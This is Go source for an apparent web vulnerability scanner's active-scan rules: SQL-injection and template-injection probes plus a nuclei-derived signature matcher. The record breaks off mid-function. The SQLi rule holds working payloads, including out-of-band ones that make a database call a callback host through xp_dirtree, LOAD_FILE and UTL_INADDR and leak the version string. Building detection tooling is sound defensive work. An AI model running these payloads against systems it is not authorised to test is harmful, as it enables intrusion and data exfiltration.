// Package sqli is the active SQL-injection rule. It exposes a catalog of named
// checks (error-based, boolean-based, time-based, out-of-band); each appends
// read-only payloads to a parameter and confirms via the shared DB-error matcher, a
// structural true/false differential, a timing delay, or a callback.
package sqli
import (
"context"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "sqli"
findingRule = "activescan.sqli"
sleepMs = 5000
oastWindow = 12 * time.Second
)
var errorSuffixes = []string{`'`, `"`, `')`, `'"`}
var booleanPairs = [][2]string{
{`' AND '1'='1`, `' AND '1'='2`},
{` AND 1=1`, ` AND 1=2`},
{`" AND "1"="1`, `" AND "1"="2`},
}
var timeSuffixes = []string{
`' AND SLEEP(5)-- -`,
` AND SLEEP(5)`,
`'||pg_sleep(5)--`,
`';WAITFOR DELAY '0:0:5'--`,
}
func oastSuffixes(host string) []string {
return []string{
`' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.` + host + `\\x')))-- -`,
`';EXEC master..xp_dirtree '\\` + host + `\x';--`,
`'||(SELECT UTL_INADDR.get_host_address('` + host + `') FROM dual)--`,
}
}
var checks = []injkit.Check{
{
ID: "error-based", Name: "Error-based", Severity: detect.SeverityHigh,
Description: "Appends quote/paren breakers and matches the response against database error signatures.",
Payloads: errorSuffixes,
Probe: errorBased,
},
{
ID: "boolean-based", Name: "Boolean-based", Severity: detect.SeverityHigh,
Description: "Sends a TRUE and a FALSE condition and reports when TRUE matches the baseline while FALSE differs.",
Payloads: []string{`' AND '1'='1`, `' AND '1'='2`, ` AND 1=1`, ` AND 1=2`},
Probe: booleanBased,
},
{
ID: "time-based", Name: "Time-based", Severity: detect.SeverityHigh,
Description: "Injects a database sleep and confirms a delayed response twice to reject jitter.",
Payloads: timeSuffixes,
Probe: timeBased,
},
{
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityHigh,
Description: "Injects DNS/SMB exfiltration payloads and polls the callback listener for an interaction.",
Payloads: []string{`LOAD_FILE(CONCAT('\\\\',…,'.<callback>\\x'))`, `xp_dirtree '\\<callback>\x'`, `UTL_INADDR.get_host_address('<callback>')`},
RequiresOAST: true,
Probe: oastBased,
},
}
// Rule implements activescan.Rule and activescan.Cataloger (via the embedded set).
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "SQL injection" }
func (*Rule) Category() detect.Category { return detect.CategorySQLi }
func (*Rule) Description() string {
return "Appends error-based, boolean-differential, time-based, and (when a callback " +
"listener is configured) out-of-band SQL payloads to each parameter, confirming via " +
"database error signatures, a true/false response differential, a timing delay, or a callback."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySQLi, "SQL injection")
return nil
}
func errorBased(pc injkit.ProbeCtx) {
for _, s := range errorSuffixes {
res := pc.Inject(s, true)
if res == nil {
continue
}
if engine, ev, ok := detect.MatchSQLError(res.Resp.Body); ok {
pc.File(detect.SeverityHigh, "error-based SQLi in "+pc.Point.Name+" ("+engine+")", engine+" error: "+ev, res.URL)
return
}
}
}
func booleanBased(pc injkit.ProbeCtx) {
for _, pair := range booleanPairs {
tr, fa := pc.Inject(pair[0], true), pc.Inject(pair[1], true)
if tr == nil || fa == nil {
continue
}
if injkit.SameStructure(tr.Fingerprint, pc.Base.Fingerprint) &&
!injkit.SameStructure(fa.Fingerprint, pc.Base.Fingerprint) {
pc.File(detect.SeverityHigh, "boolean-based SQLi in "+pc.Point.Name,
"TRUE ("+pair[0]+") matched the baseline; FALSE ("+pair[1]+") differed", tr.URL)
return
}
}
}
func timeBased(pc injkit.ProbeCtx) {
for _, s := range timeSuffixes {
res := pc.Inject(s, true)
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
continue
}
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
pc.File(detect.SeverityHigh, "time-based blind SQLi in "+pc.Point.Name,
"injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
return
}
}
}
func oastBased(pc injkit.ProbeCtx) {
if pc.OAST == nil {
return
}
tokenID, host, err := pc.OAST.Token("sqli")
if err != nil {
return
}
for _, s := range oastSuffixes(host) {
pc.Inject(s, true)
}
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
pc.File(detect.SeverityHigh, "out-of-band SQLi in "+pc.Point.Name,
"an injected payload triggered a callback to "+host, pc.Base.URL)
}
}
+67
View File
@@ -0,0 +1,67 @@
// Package ssti is the active server-side template injection rule. Each check
// replaces the parameter with one engine family's arithmetic polyglot and confirms
// when the computed product appears in the response.
package ssti
import (
"context"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "ssti"
findingRule = "activescan.ssti"
product = "1649858" // 1337 * 1234, distinctive and unlikely to occur naturally
)
func syntaxCheck(id, name, desc string, payloads []string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityCritical, Description: desc, Payloads: payloads,
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads) },
}
}
var checks = []injkit.Check{
syntaxCheck("jinja-twig", "Jinja/Twig {{…}}", "Doubled-brace expression (Jinja2, Twig, Nunjucks).", []string{`{{1337*1234}}`}),
syntaxCheck("dollar-hash", "Freemarker/Velocity ${…}/#{…}", "Dollar/hash expression (Freemarker, Velocity, Thymeleaf).", []string{`${1337*1234}`, `#{1337*1234}`}),
syntaxCheck("erb-jsp", "ERB/JSP <%= … %>", "Scriptlet expression (ERB, JSP, ASP).", []string{`<%= 1337*1234 %>`}),
syntaxCheck("razor", "Razor @(…)", "Razor expression (.NET).", []string{`@(1337*1234)`}),
syntaxCheck("smarty-mako", "Smarty/Mako/other", "Single-brace and assignment forms (Smarty, Mako, Spring EL).", []string{`{1337*1234}`, `*{1337*1234}`, `#set($x=1337*1234)$x`}),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Server-side template injection" }
func (*Rule) Category() detect.Category { return detect.CategorySSTI }
func (*Rule) Description() string {
return "Injects arithmetic-expression polyglots across common template engines (Jinja, " +
"Twig, Freemarker, Velocity, ERB, Razor and others) into each parameter; if the " +
"computed product appears in the response, the engine evaluated the expression."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySSTI, "Server-side template injection")
return nil
}
func probe(pc injkit.ProbeCtx, payloads []string) {
for _, pl := range payloads {
res := pc.Inject(pl, false)
if res != nil && strings.Contains(string(res.Resp.Body), product) {
pc.File(detect.SeverityCritical, "SSTI in "+pc.Point.Name,
"payload "+pl+" produced "+product+" in the response", res.URL)
return
}
}
}
+98
View File
@@ -0,0 +1,98 @@
package activescan
import "sync"
// Store holds runs in memory, bounded like chainrun.Store. Runs are session
// state and never reach the project file.
type Store struct {
mu sync.RWMutex
runs []*Run
}
// NewStore creates an empty run store.
func NewStore() *Store { return &Store{} }
// Get returns a run by ID, or nil.
func (s *Store) Get(id string) *Run {
s.mu.RLock()
defer s.mu.RUnlock()
for _, r := range s.runs {
if r.ID == id {
return r
}
}
return nil
}
// List returns every run, newest first.
func (s *Store) List() []*Run {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*Run, len(s.runs))
for i, r := range s.runs {
out[len(s.runs)-1-i] = r
}
return out
}
// Running returns the run currently in flight, or nil.
func (s *Store) Running() *Run {
s.mu.RLock()
defer s.mu.RUnlock()
for _, r := range s.runs {
if r.Status() == StatusRunning {
return r
}
}
return nil
}
// AddIfIdle adds a run only if none is in flight, returning the run that blocked
// it or nil on success.
//
// One lock for the test and the insert: a Running check then a separate Add
// leaves a gap two requests both pass, which is the concurrent scan the
// single-run rule exists to prevent.
func (s *Store) AddIfIdle(r *Run) *Run {
s.mu.Lock()
defer s.mu.Unlock()
for _, old := range s.runs {
if old.Status() == StatusRunning {
return old
}
}
if len(s.runs) >= MaxRuns {
for i, old := range s.runs {
if old.Status() != StatusRunning {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
break
}
}
}
s.runs = append(s.runs, r)
return nil
}
// Delete removes a run, reporting whether it was found.
func (s *Store) Delete(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
for i, r := range s.runs {
if r.ID == id {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
return true
}
}
return false
}
// Clear stops and drops every run, for a project switch.
func (s *Store) Clear() {
s.mu.Lock()
runs := s.runs
s.runs = nil
s.mu.Unlock()
for _, r := range runs {
r.Stop()
}
}
+19
View File
@@ -0,0 +1,19 @@
# Attribution — signatures.json
`signatures.json` is a normalized, curated derivative of the
[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project
by ProjectDiscovery, used under the MIT License.
- Source: `github.com/projectdiscovery/nuclei-templates`
- License: MIT (permits modification and redistribution with this notice)
- Generated at design time by `tools/nucleigen` from commit
`58670555f97912d95733b509e08061785f66e5e5` (subtrees `http/exposures`,
`http/misconfiguration`, `http/exposed-panels`).
Each entry records the originating template id (`nucleiId`) and its path within
the checkout (`source`). Only templates whose whole logic fits Joro's supported
HTTP matcher subset were converted; the rest were dropped (see the converter's
skip census). The dataset is regenerated, never hand-edited.
The MIT license text accompanies the ProjectDiscovery repository; this derivative
is distributed under the same terms.
@@ -0,0 +1,58 @@
package templatesig
import (
_ "embed"
"encoding/json"
"regexp"
)
// signaturesJSON is the normalized, curated check set produced at design time by
// tools/nucleigen from a reviewed nuclei-templates checkout. It is embedded data,
// not a Go dependency; the server never parses a nuclei YAML template.
//
//go:embed signatures.json
var signaturesJSON []byte
// load parses and compiles the embedded dataset once, on the Rule instance (not a
// package global, per the no-globals rule). A signature whose regex will not
// compile under RE2 is dropped whole rather than run half-blind.
func (r *Rule) load() ([]Signature, error) {
r.once.Do(func() {
var sigs []Signature
if err := json.Unmarshal(signaturesJSON, &sigs); err != nil {
r.err = err
return
}
out := make([]Signature, 0, len(sigs))
for i := range sigs {
if compileSignature(&sigs[i]) {
out = append(out, sigs[i])
}
}
r.sigs = out
})
return r.sigs, r.err
}
// compileSignature compiles every regex matcher in a signature. It returns false
// if any regex is rejected by RE2, so the caller can drop the whole check.
func compileSignature(sig *Signature) bool {
for ri := range sig.Requests {
req := &sig.Requests[ri]
for mi := range req.Matchers {
m := &req.Matchers[mi]
if m.Type != "regex" {
continue
}
m.compiled = m.compiled[:0]
for _, expr := range m.Regexes {
re, err := regexp.Compile(expr)
if err != nil {
return false
}
m.compiled = append(m.compiled, re)
}
}
}
return true
}
+135
View File
@@ -0,0 +1,135 @@
package templatesig
import (
"strconv"
"strings"
"github.com/BishopFox/joro/internal/activescan"
)
// selectSignatures narrows the dataset to what should run against one host: the
// scan's tag/severity filters, then fingerprint gating.
//
// Gating runs a signature when it is tech-agnostic (no RequiresTech) or when one
// of its required technologies is present on the host, version permitting. With
// IgnoreFingerprint set, or no fingerprint store wired, gating is skipped and
// every tag/severity-passing signature runs. When the host has a fingerprint but
// nothing was detected, only tech-agnostic signatures run.
func selectSignatures(sigs []Signature, cfg activescan.Config, deps activescan.RuleDeps, host string, disabled *activescan.DisabledSet) []Signature {
tagFilter := lowerSet(cfg.Tags)
sevFilter := lowerSet(cfg.Severity)
gate := !cfg.IgnoreFingerprint && deps.Tech != nil
var detected map[string]string // lower tech name -> version ("" if unknown)
if gate {
detected = map[string]string{}
if ht, ok := deps.Tech.Host(host); ok {
for _, t := range ht.Technologies {
detected[strings.ToLower(t.Name)] = t.Version
}
}
}
out := make([]Signature, 0, len(sigs))
for _, sig := range sigs {
if !disabled.IsItemEnabled(sig.ID) {
continue
}
if len(tagFilter) > 0 && !anyIn(sig.Tags, tagFilter) {
continue
}
if len(sevFilter) > 0 && !sevFilter[strings.ToLower(sig.Severity)] {
continue
}
if gate && !eligible(sig, detected) {
continue
}
out = append(out, sig)
}
return out
}
// eligible reports whether a signature's technology preconditions are met.
func eligible(sig Signature, detected map[string]string) bool {
if len(sig.RequiresTech) == 0 {
return true
}
for _, req := range sig.RequiresTech {
ver, ok := detected[strings.ToLower(req.Name)]
if ok && versionOK(ver, req) {
return true
}
}
return false
}
// versionOK applies a version constraint, failing open on an unknown version: a
// detected-but-unversioned technology always satisfies the bound, because
// skipping a possibly-vulnerable host is worse than an occasional wasted probe.
func versionOK(detected string, req TechReq) bool {
if detected == "" {
return true
}
if req.MinVersion != "" && compareVersion(detected, req.MinVersion) < 0 {
return false
}
if req.MaxVersion != "" && compareVersion(detected, req.MaxVersion) >= 0 {
return false
}
return true
}
// compareVersion compares dotted numeric versions, returning -1, 0 or 1. A
// non-numeric segment compares as 0, which is lenient by design.
func compareVersion(a, b string) int {
as := strings.Split(a, ".")
bs := strings.Split(b, ".")
for i := 0; i < len(as) || i < len(bs); i++ {
var x, y int
if i < len(as) {
x, _ = strconv.Atoi(numeric(as[i]))
}
if i < len(bs) {
y, _ = strconv.Atoi(numeric(bs[i]))
}
if x != y {
if x < y {
return -1
}
return 1
}
}
return 0
}
// numeric keeps the leading digit run of a version segment ("4rc1" -> "4").
func numeric(s string) string {
for i := 0; i < len(s); i++ {
if s[i] < '0' || s[i] > '9' {
return s[:i]
}
}
return s
}
func lowerSet(in []string) map[string]bool {
if len(in) == 0 {
return nil
}
out := make(map[string]bool, len(in))
for _, s := range in {
if s = strings.ToLower(strings.TrimSpace(s)); s != "" {
out[s] = true
}
}
return out
}
func anyIn(vals []string, set map[string]bool) bool {
for _, v := range vals {
if set[strings.ToLower(v)] {
return true
}
}
return false
}
+217
View File
@@ -0,0 +1,217 @@
package templatesig
import (
"fmt"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/httptools"
)
// replacer substitutes the URL template tokens nuclei expands inside matcher
// words at match time. BaseURL is the target origin; Host is its host[:port].
type replacer struct {
baseURL string
host string
}
func (r replacer) apply(s string) string {
if !strings.Contains(s, "{{") {
return s
}
s = strings.ReplaceAll(s, "{{BaseURL}}", r.baseURL)
s = strings.ReplaceAll(s, "{{RootURL}}", r.baseURL)
s = strings.ReplaceAll(s, "{{Hostname}}", r.host)
s = strings.ReplaceAll(s, "{{Host}}", r.host)
return s
}
// evalMatchers evaluates a request's matcher set against a response and returns
// whether it matched, with a short evidence string naming what matched.
func evalMatchers(req *Request, resp httptools.Response, rp replacer) (bool, string) {
if len(req.Matchers) == 0 {
return false, ""
}
and := strings.EqualFold(req.MatchersCondition, "and")
var evidence []string
allOK := true
anyOK := false
for i := range req.Matchers {
ok, ev := evalMatcher(&req.Matchers[i], resp, rp)
if ok {
anyOK = true
if ev != "" {
evidence = append(evidence, ev)
}
} else {
allOK = false
}
}
matched := anyOK
if and {
matched = allOK
}
if !matched {
return false, ""
}
return true, strings.Join(evidence, "; ")
}
// evalMatcher evaluates one matcher. Negative inverts the result; a negative
// match reports no evidence (there is nothing to show).
func evalMatcher(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
ok, ev := matcherHit(m, resp, rp)
if m.Negative {
return !ok, ""
}
return ok, ev
}
func matcherHit(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
switch m.Type {
case "status":
for _, s := range m.Status {
if resp.Status == s {
return true, "status " + strconv.Itoa(s)
}
}
return false, ""
case "size":
n := len(resp.Body)
for _, s := range m.Sizes {
if n == s {
return true, "size " + strconv.Itoa(n)
}
}
return false, ""
case "word":
return matchWords(m, part(m.Part, resp), rp)
case "regex":
return matchRegexes(m, part(m.Part, resp))
default:
return false, ""
}
}
// matchWords applies the word list with the matcher's and/or condition. Words are
// matched case-insensitively, matching nuclei's default.
func matchWords(m *Matcher, hay string, rp replacer) (bool, string) {
if len(m.Words) == 0 {
return false, ""
}
and := strings.EqualFold(m.Condition, "and")
lower := strings.ToLower(hay)
anyOK, allOK := false, true
var first string
for _, w := range m.Words {
w = rp.apply(w)
if strings.Contains(lower, strings.ToLower(w)) {
anyOK = true
if first == "" {
first = w
}
} else {
allOK = false
}
}
if (and && allOK) || (!and && anyOK) {
return true, "matched " + strconv.Quote(first)
}
return false, ""
}
// matchRegexes applies the compiled regex list with the matcher's and/or
// condition. The evidence is the first concrete match, truncated.
func matchRegexes(m *Matcher, hay string) (bool, string) {
if len(m.compiled) == 0 {
return false, ""
}
and := strings.EqualFold(m.Condition, "and")
anyOK, allOK := false, true
var first string
for _, re := range m.compiled {
if loc := re.FindString(hay); loc != "" || re.MatchString(hay) {
anyOK = true
if first == "" {
first = loc
}
} else {
allOK = false
}
}
if (and && allOK) || (!and && anyOK) {
return true, "matched " + strconv.Quote(truncate(first, 80))
}
return false, ""
}
// part selects the response region a matcher reads. Default is the body.
func part(name string, resp httptools.Response) string {
switch strings.ToLower(name) {
case "header", "headers":
return headerString(resp)
case "all", "response", "raw":
return headerString(resp) + "\r\n\r\n" + string(resp.Body)
default:
return string(resp.Body)
}
}
func headerString(resp httptools.Response) string {
var b strings.Builder
fmt.Fprintf(&b, "HTTP %d\r\n", resp.Status)
for k, vs := range resp.Header {
for _, v := range vs {
b.WriteString(k)
b.WriteString(": ")
b.WriteString(v)
b.WriteString("\r\n")
}
}
return b.String()
}
func truncate(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n] + "…"
}
// spreader distributes a rule's share of the run's URL-based total across its own
// internal steps, so the scan's completed/total stays coherent when the rule's
// real unit of work (signatures) differs from the planned unit (URLs).
type spreader struct {
rep activescan.Reporter
budget int
steps int
done int
emitted int
}
func newSpreader(rep activescan.Reporter, budget, steps int) *spreader {
return &spreader{rep: rep, budget: budget, steps: steps}
}
func (p *spreader) step() {
p.done++
want := p.budget
if p.steps > 0 {
want = p.budget * p.done / p.steps
}
if want > p.budget {
want = p.budget
}
if want > p.emitted {
p.rep.Progress(want - p.emitted)
p.emitted = want
}
}
func (p *spreader) finish() {
if p.budget > p.emitted {
p.rep.Progress(p.budget - p.emitted)
p.emitted = p.budget
}
}
+90
View File
@@ -0,0 +1,90 @@
package templatesig
import (
"fmt"
"net/url"
"strings"
"github.com/BishopFox/joro/internal/httptools"
)
// defaultUA is sent unless a signature overrides User-Agent. A plain browser
// string keeps a probe from standing out from ordinary traffic.
const defaultUA = "Mozilla/5.0 (compatible; Joro)"
// renderRequest builds raw HTTP/1.1 bytes for one probe against origin. The path
// is {{BaseURL}}-relative; a stray {{BaseURL}} prefix or an absolute URL is
// reduced to its path. Content-Length is computed from the body in hand; the
// request never carries Transfer-Encoding.
func renderRequest(origin string, req *Request, path string) ([]byte, error) {
host, err := hostOf(origin)
if err != nil {
return nil, err
}
target := normalizePath(path)
if strings.ContainsAny(target, "\r\n") {
return nil, fmt.Errorf("illegal path")
}
method := strings.ToUpper(strings.TrimSpace(req.Method))
if method == "" {
method = "GET"
}
var b strings.Builder
fmt.Fprintf(&b, "%s %s HTTP/1.1\r\n", method, target)
fmt.Fprintf(&b, "Host: %s\r\n", host)
sentUA, sentAccept := false, false
for k, v := range req.Headers {
if strings.ContainsAny(k, "\r\n:") || strings.ContainsAny(v, "\r\n") {
continue
}
switch strings.ToLower(k) {
case "user-agent":
sentUA = true
case "accept":
sentAccept = true
case "host", "content-length":
continue // Host is set above; Content-Length is computed below
}
fmt.Fprintf(&b, "%s: %s\r\n", k, v)
}
if !sentUA {
fmt.Fprintf(&b, "User-Agent: %s\r\n", defaultUA)
}
if !sentAccept {
b.WriteString("Accept: */*\r\n")
}
b.WriteString("Connection: close\r\n")
b.WriteString("\r\n")
b.WriteString(req.Body)
return httptools.UpdateContentLength([]byte(b.String())), nil
}
// hostOf returns the host[:port] of an origin.
func hostOf(origin string) (string, error) {
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return "", fmt.Errorf("bad origin %q", origin)
}
return u.Host, nil
}
// normalizePath reduces a signature path to an origin-form request target.
func normalizePath(p string) string {
p = strings.TrimSpace(p)
p = strings.ReplaceAll(p, "{{BaseURL}}", "")
p = strings.ReplaceAll(p, "{{Hostname}}", "")
if strings.HasPrefix(p, "http://") || strings.HasPrefix(p, "https://") {
p = originPath(p)
}
if p == "" {
return "/"
}
if !strings.HasPrefix(p, "/") {
p = "/" + p
}
return p
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,338 @@
// Package templatesig is the active-scan signature rule: it sends crafted HTTP
// requests and files a finding when the response matches a check. The checks are
// an embedded, normalized dataset mined at design time from nuclei-templates (see
// tools/nucleigen) — the server never parses a nuclei YAML template, only this
// vetted schema.
//
// # Fingerprint-gated
//
// Before sending, the rule reads the passive technology fingerprint of the host
// (internal/techfp) and runs only the signatures whose RequiresTech matches the
// detected stack, plus the tech-agnostic ones. A WordPress host is probed for
// WordPress and PHP checks, not for Jira or Drupal ones. Gating is version-aware
// but fail-open: a version constraint narrows only when the version is known.
//
// # Fail-closed at the source, not here
//
// The matcher vocabulary is deliberately small (status, word, regex, size, with
// and/or and negation). That is not a runtime limitation to work around: the
// converter emits a signature only when a template's whole logic fits this
// vocabulary, and drops the rest. So a signature that reaches this package is one
// Joro can evaluate faithfully — there is no partial evaluation that could report
// a vulnerable target as safe.
package templatesig
import (
"context"
"fmt"
"net/url"
"regexp"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
const (
ruleID = "templatesig"
findingRule = "activescan.templatesig"
perRequestTimeout = 15 * time.Second
// maxRespBytes is the response body a match needs; the send default is sized
// only to fingerprint, which is too little for a body word/regex matcher.
maxRespBytes = 1 << 20
)
// TechReq is a technology precondition on a signature. An empty Name list on a
// signature means tech-agnostic (always eligible). MinVersion is inclusive,
// MaxVersion exclusive; either may be empty.
type TechReq struct {
Name string `json:"name"`
MinVersion string `json:"minVersion,omitempty"`
MaxVersion string `json:"maxVersion,omitempty"`
}
// Matcher is one condition evaluated against a response.
type Matcher struct {
Type string `json:"type"` // status | word | regex | size
Part string `json:"part,omitempty"` // body | header | all (default body)
Status []int `json:"status,omitempty"`
Words []string `json:"words,omitempty"`
Regexes []string `json:"regexes,omitempty"`
Sizes []int `json:"sizes,omitempty"`
Condition string `json:"condition,omitempty"` // and | or across words/regexes (default or)
Negative bool `json:"negative,omitempty"`
compiled []*regexp.Regexp // filled by compile()
}
// Request is one probe: a method and one or more paths sharing a matcher set.
type Request struct {
Method string `json:"method"`
Paths []string `json:"paths"` // {{BaseURL}}-relative, e.g. "/.git/config"
Headers map[string]string `json:"headers,omitempty"`
Body string `json:"body,omitempty"`
Matchers []Matcher `json:"matchers"`
MatchersCondition string `json:"matchersCondition,omitempty"` // and | or (default or)
StopAtFirstMatch bool `json:"stopAtFirstMatch,omitempty"`
}
// Signature is one normalized check mined from a nuclei template.
type Signature struct {
ID string `json:"id"`
NucleiID string `json:"nucleiId,omitempty"`
Name string `json:"name"`
Severity string `json:"severity"`
Description string `json:"description,omitempty"`
Remediation string `json:"remediation,omitempty"`
Reference []string `json:"reference,omitempty"`
Tags []string `json:"tags,omitempty"`
Source string `json:"source,omitempty"`
RequiresTech []TechReq `json:"requiresTech,omitempty"`
Requests []Request `json:"requests"`
}
// Rule implements activescan.Rule and activescan.Cataloger over the embedded
// signature set. The per-signature enable/disable half of Cataloger comes from the
// embedded *activescan.DisabledSet (per-project session state set by
// applyProjectConfig and read by buildProjectConfig).
type Rule struct {
once sync.Once
sigs []Signature
err error
*activescan.DisabledSet
}
// New returns the template-signature rule. The embedded dataset is parsed and its
// regexes compiled lazily on first Run, off the server boot path.
func New() *Rule { return &Rule{DisabledSet: activescan.NewDisabledSet()} }
// RuleID is the stable registry id of this rule, for callers that resolve the
// concrete rule from the registry.
func RuleID() string { return ruleID }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Template signatures" }
func (*Rule) Category() detect.Category { return detect.CategoryTemplate }
func (*Rule) Description() string {
return "HTTP request signatures mined from nuclei templates — exposed files, " +
"known-vulnerable fingerprints, misconfigurations, and exposed panels. Fingerprint-" +
"gated: only signatures matching a host's detected technology stack run, plus the " +
"tech-agnostic ones."
}
// CatalogItems maps each loaded signature to a neutral catalog item for the UI.
func (r *Rule) CatalogItems() []activescan.CatalogItem {
sigs, err := r.load()
if err != nil {
return nil
}
out := make([]activescan.CatalogItem, 0, len(sigs))
for i := range sigs {
sig := &sigs[i]
var method string
var paths []string
if len(sig.Requests) > 0 {
method = sig.Requests[0].Method
paths = sig.Requests[0].Paths
}
tech := make([]string, 0, len(sig.RequiresTech))
for _, t := range sig.RequiresTech {
tech = append(tech, t.Name)
}
detail := []activescan.CatalogField{}
add := func(label, value string) {
if value != "" {
detail = append(detail, activescan.CatalogField{Label: label, Value: value})
}
}
if method != "" || len(paths) > 0 {
add("Request", strings.TrimSpace(method+" "+strings.Join(paths, ", ")))
}
add("Required technology", strings.Join(tech, ", "))
add("Tags", strings.Join(sig.Tags, ", "))
add("References", strings.Join(sig.Reference, "\n"))
add("Nuclei ID", sig.NucleiID)
add("Source", sig.Source)
out = append(out, activescan.CatalogItem{
ID: sig.ID,
Name: sig.Name,
Severity: sig.Severity,
Confidence: string(sig.Confidence()),
Target: string(detect.TargetMessage),
Description: sig.Description,
Remediation: sig.Remediation,
Enabled: r.IsItemEnabled(sig.ID),
Detail: detail,
})
}
return out
}
// Run selects the eligible signatures for the target's technology stack and
// probes each, filing a finding per confirmed match.
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
sigs, err := r.load()
if err != nil {
return fmt.Errorf("load signatures: %w", err)
}
selected := selectSignatures(sigs, cfg, deps, t.Host, r.DisabledSet)
prog := newSpreader(rep, len(t.URLs), len(selected))
defer prog.finish()
send := httptools.SendDeps{
ProxyAddr: deps.ProxyAddr,
CA: deps.CA,
Store: deps.Store,
MaxRespBytes: maxRespBytes,
}
for _, sig := range selected {
if ctx.Err() != nil {
return ctx.Err()
}
r.runSignature(ctx, t, sig, send, rep)
prog.step()
}
return nil
}
// runSignature probes every request/path of one signature, stopping a request's
// path sweep at the first match when the signature asks for it.
func (r *Rule) runSignature(ctx context.Context, t activescan.Target, sig Signature, send httptools.SendDeps, rep activescan.Reporter) {
for ri := range sig.Requests {
req := &sig.Requests[ri]
for _, path := range req.Paths {
if ctx.Err() != nil {
return
}
raw, err := renderRequest(t.Origin, req, path)
if err != nil {
continue
}
reqCtx, cancel := context.WithTimeout(ctx, perRequestTimeout)
sent, err := httptools.SendViaProxy(reqCtx, raw, t.Scheme, t.Host, send)
cancel()
if err != nil {
continue
}
resp := httptools.ReadResponse(sent.RespRaw)
rp := replacer{baseURL: strings.TrimRight(t.Origin, "/"), host: t.Host}
ok, evidence := evalMatchers(req, resp, rp)
if !ok {
continue
}
rep.Finding(buildFinding(t.Host, t.Origin, path, sent.URL, sig, evidence))
if req.StopAtFirstMatch {
break
}
}
}
}
// buildFinding maps a confirmed match to a detect.Finding in detect's identity
// space, deduped per signature, host and path.
func buildFinding(host, origin, path, sentURL string, sig Signature, evidence string) detect.Finding {
now := time.Now()
u := sentURL
if u == "" {
u = strings.TrimRight(origin, "/") + path
}
detail := sig.Name
if sig.NucleiID != "" {
detail = sig.NucleiID + ": " + sig.Name
}
return detect.Finding{
ID: detect.FindingID(sig.ID, host, path),
RuleID: findingRule,
RuleName: sig.Name,
Category: detect.CategoryTemplate,
Severity: mapSeverity(sig.Severity),
Confidence: confidenceFor(sig),
Target: detect.TargetMessage,
Host: host,
Method: requestMethod(sig),
URL: u,
Detail: detail,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
func requestMethod(sig Signature) string {
if len(sig.Requests) > 0 && sig.Requests[0].Method != "" {
return strings.ToUpper(sig.Requests[0].Method)
}
return "GET"
}
// mapSeverity converts a nuclei severity string to a detect.Severity, defaulting
// to info for an unknown value.
func mapSeverity(s string) detect.Severity {
switch strings.ToLower(strings.TrimSpace(s)) {
case "critical":
return detect.SeverityCritical
case "high":
return detect.SeverityHigh
case "medium":
return detect.SeverityMedium
case "low":
return detect.SeverityLow
default:
return detect.SeverityInfo
}
}
// Confidence is the finding confidence a match of this signature carries, for the
// catalog UI. It is the same value buildFinding files.
func (sig Signature) Confidence() detect.Confidence { return confidenceFor(sig) }
// confidenceFor estimates confidence from matcher strength: a regex or a
// multi-term/status-qualified match is high; a lone word is medium; a bare status
// match is low. Nuclei carries no confidence of its own.
func confidenceFor(sig Signature) detect.Confidence {
hasRegex, words, hasStatus, nonStatus := false, 0, false, false
for _, req := range sig.Requests {
for _, m := range req.Matchers {
switch m.Type {
case "regex":
hasRegex = true
nonStatus = true
case "word":
words += len(m.Words)
nonStatus = true
case "status":
hasStatus = true
case "size":
nonStatus = true
}
}
}
switch {
case hasRegex || (hasStatus && nonStatus) || words > 1:
return detect.ConfidenceHigh
case words == 1 || nonStatus:
return detect.ConfidenceMedium
default:
return detect.ConfidenceLow
}
}
// originPath splits an absolute URL into its path+query, for rendering.
func originPath(raw string) string {
u, err := url.Parse(raw)
